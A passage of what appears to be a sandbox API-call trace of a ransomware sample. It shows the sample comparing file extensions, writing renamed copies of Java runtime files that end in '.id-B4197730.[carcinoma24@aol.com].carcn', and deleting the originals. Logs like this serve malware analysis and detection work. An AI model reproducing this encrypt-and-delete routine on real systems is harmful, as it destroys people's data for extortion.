[0255.856] lstrlenW (lpString=".ppt") returned 4 [0255.856] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0255.856] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\nl-NL\\tipresx.dll.mui") returned 72 [0255.856] lstrlenW (lpString=".zip") returned 4 [0255.856] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0255.856] lstrlenW (lpString=".rar") returned 4 [0255.856] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0255.856] lstrlenW (lpString=".bz2") returned 4 [0255.856] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0255.856] lstrlenW (lpString=".7z") returned 3 [0255.856] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0255.856] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\nl-NL\\tipresx.dll.mui") returned 72 [0255.856] lstrlenW (lpString=".dbf") returned 4 [0255.856] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0255.856] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\nl-NL\\tipresx.dll.mui") returned 72 [0255.856] lstrlenW (lpString=".1cd") returned 4 [0255.857] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0255.857] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\nl-NL\\tipresx.dll.mui") returned 72 [0255.857] lstrlenW (lpString=".jpg") returned 4 [0255.857] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0255.857] lstrcmpiW (lpString1=".mui", lpString2=".carcn") returned 1 [0255.857] lstrlenW (lpString="tipresx.dll.mui") returned 15 [0255.857] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pl-PL\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pl-pl\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x41c [0255.857] GetFileSizeEx (in: hFile=0x41c, lpFileSize=0x3cfff14 | out: lpFileSize=0x3cfff14*=10240) returned 1 [0255.857] CloseHandle (hObject=0x41c) returned 1 [0255.857] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pl-PL\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pl-pl\\tipresx.dll.mui")) returned 0x20 [0255.857] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pl-PL\\tipresx.dll.mui.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pl-pl\\tipresx.dll.mui.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0255.857] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pl-PL\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pl-pl\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0255.858] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pl-PL\\tipresx.dll.mui") returned 72 [0255.858] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pl-PL\\tipresx.dll.mui") returned 72 [0255.858] lstrlenW (lpString=".doc") returned 4 [0255.858] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0255.858] lstrlenW (lpString=".docx") returned 5 [0255.858] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0255.858] lstrlenW (lpString=".pdf") returned 4 [0255.858] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0255.858] lstrlenW (lpString=".xls") returned 4 [0255.858] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0255.858] lstrlenW (lpString=".xlsx") returned 5 [0255.858] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0255.858] lstrlenW (lpString=".ppt") returned 4 [0255.858] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0255.858] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pl-PL\\tipresx.dll.mui") returned 72 [0255.858] lstrlenW (lpString=".zip") returned 4 [0255.858] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0255.858] lstrlenW (lpString=".rar") returned 4 [0255.858] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0255.858] lstrlenW (lpString=".bz2") returned 4 [0255.858] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0255.858] lstrlenW (lpString=".7z") returned 3 [0255.858] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0255.858] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pl-PL\\tipresx.dll.mui") returned 72 [0255.858] lstrlenW (lpString=".dbf") returned 4 [0255.858] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0258.204] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxwebkit.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jfxwebkit.dll"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxwebkit.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jfxwebkit.dll.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0 [0258.306] GetFileSizeEx (in: hFile=0x498, lpFileSize=0x3cfff14 | out: lpFileSize=0x3cfff14*=8809536) returned 1 [0258.306] CloseHandle (hObject=0x498) returned 1 [0258.306] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\jvm.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\jvm.dll")) returned 0x20 [0258.306] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\jvm.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\jvm.dll.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0258.306] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\jvm.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\jvm.dll"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\jvm.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\jvm.dll.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0 [0258.322] SetFilePointerEx (in: hFile=0x498, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0258.322] SetFilePointerEx (in: hFile=0x498, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0258.322] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\copyright.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0258.323] GetLastError () returned 0x0 [0258.323] ReadFile (in: hFile=0x498, lpBuffer=0x43a5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x43a5020*, lpNumberOfBytesRead=0x3cffecc*=0xcac, lpOverlapped=0x0) returned 1 [0258.381] WriteFile (in: hFile=0x33c, lpBuffer=0x43a5020*, nNumberOfBytesToWrite=0xcb0, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x43a5020*, lpNumberOfBytesWritten=0x3cffc94*=0xcb0, lpOverlapped=0x0) returned 1 [0258.383] ReadFile (in: hFile=0x498, lpBuffer=0x43a5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x43a5020*, lpNumberOfBytesRead=0x3cffecc*=0x0, lpOverlapped=0x0) returned 1 [0258.383] WriteFile (in: hFile=0x33c, lpBuffer=0x43a5020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x43a5020*, lpNumberOfBytesWritten=0x3cffc94*=0xe6, lpOverlapped=0x0) returned 1 [0258.383] SetEndOfFile (hFile=0x33c) returned 1 [0258.383] CloseHandle (hObject=0x33c) returned 1 [0258.384] SetFilePointerEx (in: hFile=0x498, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0258.384] SetEndOfFile (hFile=0x498) returned 1 [0258.389] CloseHandle (hObject=0x498) returned 1 [0258.390] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0258.391] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT" (normalized: "c:\\program files\\java\\jre1.8.0_144\\copyright")) returned 1 [0258.392] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT") returned 44 [0258.392] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT") returned 44 [0258.392] lstrlenW (lpString=".doc") returned 4 [0258.392] lstrcmpiW (lpString1=".doc", lpString2="IGHT") returned -1 [0258.392] lstrlenW (lpString=".docx") returned 5 [0258.392] lstrcmpiW (lpString1=".docx", lpString2="RIGHT") returned -1 [0258.392] lstrlenW (lpString=".pdf") returned 4 [0258.392] lstrcmpiW (lpString1=".pdf", lpString2="IGHT") returned -1 [0258.392] lstrlenW (lpString=".xls") returned 4 [0258.392] lstrcmpiW (lpString1=".xls", lpString2="IGHT") returned -1 [0258.392] lstrlenW (lpString=".xlsx") returned 5 [0258.392] lstrcmpiW (lpString1=".xlsx", lpString2="RIGHT") returned -1 [0258.392] lstrlenW (lpString=".ppt") returned 4 [0258.392] lstrcmpiW (lpString1=".ppt", lpString2="IGHT") returned -1 [0258.392] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT") returned 44 [0258.392] lstrlenW (lpString=".zip") returned 4 [0258.392] lstrcmpiW (lpString1=".zip", lpString2="IGHT") returned -1 [0258.392] lstrlenW (lpString=".rar") returned 4 [0258.392] lstrcmpiW (lpString1=".rar", lpString2="IGHT") returned -1 [0258.392] lstrlenW (lpString=".bz2") returned 4 [0258.393] lstrcmpiW (lpString1=".bz2", lpString2="IGHT") returned -1 [0258.393] lstrlenW (lpString=".7z") returned 3 [0258.393] lstrcmpiW (lpString1=".7z", lpString2="GHT") returned -1 [0258.393] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT") returned 44 [0258.393] lstrlenW (lpString=".dbf") returned 4 [0258.393] lstrcmpiW (lpString1=".dbf", lpString2="IGHT") returned -1 [0258.393] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT") returned 44 [0258.393] lstrlenW (lpString=".1cd") returned 4 [0258.393] lstrcmpiW (lpString1=".1cd", lpString2="IGHT") returned -1 [0258.393] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT") returned 44 [0258.393] lstrlenW (lpString=".jpg") returned 4 [0258.393] lstrcmpiW (lpString1=".jpg", lpString2="IGHT") returned -1 [0258.393] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT") returned 44 [0258.393] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT") returned 44 [0258.393] lstrlenW (lpString=".doc") returned 4 [0258.393] lstrcmpiW (lpString1=".doc", lpString2="IGHT") returned -1 [0258.393] lstrlenW (lpString=".docx") returned 5 [0258.393] lstrcmpiW (lpString1=".docx", lpString2="RIGHT") returned -1 [0258.393] lstrlenW (lpString=".pdf") returned 4 [0258.393] lstrcmpiW (lpString1=".pdf", lpString2="IGHT") returned -1 [0258.393] lstrlenW (lpString=".xls") returned 4 [0258.393] lstrcmpiW (lpString1=".xls", lpString2="IGHT") returned -1 [0258.393] lstrlenW (lpString=".xlsx") returned 5 [0258.393] lstrcmpiW (lpString1=".xlsx", lpString2="RIGHT") returned -1 [0258.393] lstrlenW (lpString=".ppt") returned 4 [0258.393] lstrcmpiW (lpString1=".ppt", lpString2="IGHT") returned -1 [0258.394] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT") returned 44 [0258.394] lstrlenW (lpString=".zip") returned 4 [0258.394] lstrcmpiW (lpString1=".zip", lpString2="IGHT") returned -1 [0258.394] lstrlenW (lpString=".rar") returned 4 [0258.394] lstrcmpiW (lpString1=".rar", lpString2="IGHT") returned -1 [0258.394] lstrlenW (lpString=".bz2") returned 4 [0258.394] lstrcmpiW (lpString1=".bz2", lpString2="IGHT") returned -1 [0258.394] lstrlenW (lpString=".7z") returned 3 [0258.394] lstrcmpiW (lpString1=".7z", lpString2="GHT") returned -1 [0258.394] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT") returned 44 [0258.394] lstrlenW (lpString=".dbf") returned 4 [0258.394] lstrcmpiW (lpString1=".dbf", lpString2="IGHT") returned -1 [0258.394] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT") returned 44 [0258.394] lstrlenW (lpString=".1cd") returned 4 [0258.394] lstrcmpiW (lpString1=".1cd", lpString2="IGHT") returned -1 [0258.394] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT") returned 44 [0258.394] lstrlenW (lpString=".jpg") returned 4 [0258.394] lstrcmpiW (lpString1=".jpg", lpString2="IGHT") returned -1 [0258.394] lstrcmpiW (lpString1=".properties", lpString2=".carcn") returned 1 [0258.394] lstrlenW (lpString="accessibility.properties") returned 24 [0258.394] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\accessibility.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x498 [0258.396] GetFileSizeEx (in: hFile=0x498, lpFileSize=0x3cfff14 | out: lpFileSize=0x3cfff14*=149) returned 1 [0258.396] CloseHandle (hObject=0x498) returned 1 [0258.396] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\accessibility.properties")) returned 0x20 [0258.396] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\accessibility.properties.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0258.396] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\accessibility.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x498 [0258.397] SetFilePointerEx (in: hFile=0x498, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0258.397] SetFilePointerEx (in: hFile=0x498, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0258.397] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\accessibility.properties.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0258.399] GetLastError () returned 0x0 [0258.399] ReadFile (in: hFile=0x498, lpBuffer=0x43a5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x43a5020*, lpNumberOfBytesRead=0x3cffecc*=0x95, lpOverlapped=0x0) returned 1 [0258.400] WriteFile (in: hFile=0x33c, lpBuffer=0x43a5020*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x43a5020*, lpNumberOfBytesWritten=0x3cffc94*=0xa0, lpOverlapped=0x0) returned 1 [0258.401] ReadFile (in: hFile=0x498, lpBuffer=0x43a5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x43a5020*, lpNumberOfBytesRead=0x3cffecc*=0x0, lpOverlapped=0x0) returned 1 [0258.401] WriteFile (in: hFile=0x33c, lpBuffer=0x43a5020*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x43a5020*, lpNumberOfBytesWritten=0x3cffc94*=0x104, lpOverlapped=0x0) returned 1 [0258.402] SetEndOfFile (hFile=0x33c) returned 1 [0258.402] CloseHandle (hObject=0x33c) returned 1 [0258.403] SetFilePointerEx (in: hFile=0x498, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0258.403] SetEndOfFile (hFile=0x498) returned 1 [0258.407] CloseHandle (hObject=0x498) returned 1 [0258.407] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0258.407] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\accessibility.properties")) returned 1 [0258.408] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties") returned 63 [0258.408] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties") returned 63 [0258.408] lstrlenW (lpString=".doc") returned 4 [0258.408] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0258.408] lstrlenW (lpString=".docx") returned 5 [0258.409] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0258.409] lstrlenW (lpString=".pdf") returned 4 [0258.409] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0258.409] lstrlenW (lpString=".xls") returned 4 [0258.409] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0258.409] lstrlenW (lpString=".xlsx") returned 5 [0258.409] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0258.409] lstrlenW (lpString=".ppt") returned 4 [0258.409] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0258.409] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties") returned 63 [0258.409] lstrlenW (lpString=".zip") returned 4 [0258.409] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0258.409] lstrlenW (lpString=".rar") returned 4 [0258.409] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0258.409] lstrlenW (lpString=".bz2") returned 4 [0258.409] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0258.409] lstrlenW (lpString=".7z") returned 3 [0258.409] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0258.409] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties") returned 63 [0258.409] lstrlenW (lpString=".dbf") returned 4 [0258.409] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0258.409] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties") returned 63 [0258.409] lstrlenW (lpString=".1cd") returned 4 [0258.409] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0258.409] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties") returned 63 [0258.409] lstrlenW (lpString=".jpg") returned 4 [0258.409] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0258.410] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties") returned 63 [0258.410] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties") returned 63 [0258.410] lstrlenW (lpString=".doc") returned 4 [0258.410] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0258.410] lstrlenW (lpString=".docx") returned 5 [0258.410] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0258.410] lstrlenW (lpString=".pdf") returned 4 [0258.410] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0258.410] lstrlenW (lpString=".xls") returned 4 [0258.410] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0258.410] lstrlenW (lpString=".xlsx") returned 5 [0258.410] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0258.410] lstrlenW (lpString=".ppt") returned 4 [0258.410] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0258.410] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties") returned 63 [0258.410] lstrlenW (lpString=".zip") returned 4 [0258.410] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0258.410] lstrlenW (lpString=".rar") returned 4 [0258.410] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0258.410] lstrlenW (lpString=".bz2") returned 4 [0258.410] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0258.410] lstrlenW (lpString=".7z") returned 3 [0258.410] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0258.410] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties") returned 63 [0258.410] lstrlenW (lpString=".dbf") returned 4 [0258.410] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0258.411] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties") returned 63 [0258.411] lstrlenW (lpString=".1cd") returned 4 [0258.411] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0258.411] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties") returned 63 [0258.411] lstrlenW (lpString=".jpg") returned 4 [0258.411] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0258.411] lstrcmpiW (lpString1=".cfg", lpString2=".carcn") returned 1 [0258.411] lstrlenW (lpString="jvm.cfg") returned 7 [0258.411] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x498 [0258.412] GetFileSizeEx (in: hFile=0x498, lpFileSize=0x3cfff14 | out: lpFileSize=0x3cfff14*=634) returned 1 [0258.412] CloseHandle (hObject=0x498) returned 1 [0258.412] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg")) returned 0x20 [0258.412] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0258.412] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x498 [0258.412] SetFilePointerEx (in: hFile=0x498, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0258.412] SetFilePointerEx (in: hFile=0x498, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0258.412] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0258.422] GetLastError () returned 0x0 [0258.423] ReadFile (in: hFile=0x498, lpBuffer=0x43a5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x43a5020*, lpNumberOfBytesRead=0x3cffecc*=0x27a, lpOverlapped=0x0) returned 1 [0258.606] WriteFile (in: hFile=0x33c, lpBuffer=0x43a5020*, nNumberOfBytesToWrite=0x280, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x43a5020*, lpNumberOfBytesWritten=0x3cffc94*=0x280, lpOverlapped=0x0) returned 1 [0258.607] ReadFile (in: hFile=0x498, lpBuffer=0x43a5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x43a5020*, lpNumberOfBytesRead=0x3cffecc*=0x0, lpOverlapped=0x0) returned 1 [0258.607] WriteFile (in: hFile=0x33c, lpBuffer=0x43a5020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x43a5020*, lpNumberOfBytesWritten=0x3cffc94*=0xe2, lpOverlapped=0x0) returned 1 [0258.608] SetEndOfFile (hFile=0x33c) returned 1 [0258.608] CloseHandle (hObject=0x33c) returned 1 [0258.609] SetFilePointerEx (in: hFile=0x498, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0258.609] SetEndOfFile (hFile=0x498) returned 1 [0260.570] CloseHandle (hObject=0x498) returned 1 [0260.571] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0260.660] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg")) returned 1 [0260.758] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg") returned 52 [0260.758] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg") returned 52 [0260.758] lstrlenW (lpString=".doc") returned 4 [0260.758] lstrcmpiW (lpString1=".doc", lpString2=".cfg") returned 1 [0260.758] lstrlenW (lpString=".docx") returned 5 [0260.758] lstrcmpiW (lpString1=".docx", lpString2="m.cfg") returned -1 [0260.758] lstrlenW (lpString=".pdf") returned 4 [0260.758] lstrcmpiW (lpString1=".pdf", lpString2=".cfg") returned 1 [0260.758] lstrlenW (lpString=".xls") returned 4 [0260.758] lstrcmpiW (lpString1=".xls", lpString2=".cfg") returned 1 [0260.758] lstrlenW (lpString=".xlsx") returned 5 [0260.758] lstrcmpiW (lpString1=".xlsx", lpString2="m.cfg") returned -1 [0260.759] lstrlenW (lpString=".ppt") returned 4 [0260.759] lstrcmpiW (lpString1=".ppt", lpString2=".cfg") returned 1 [0260.759] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg") returned 52 [0260.759] lstrlenW (lpString=".zip") returned 4 [0260.759] lstrcmpiW (lpString1=".zip", lpString2=".cfg") returned 1 [0260.759] lstrlenW (lpString=".rar") returned 4 [0260.759] 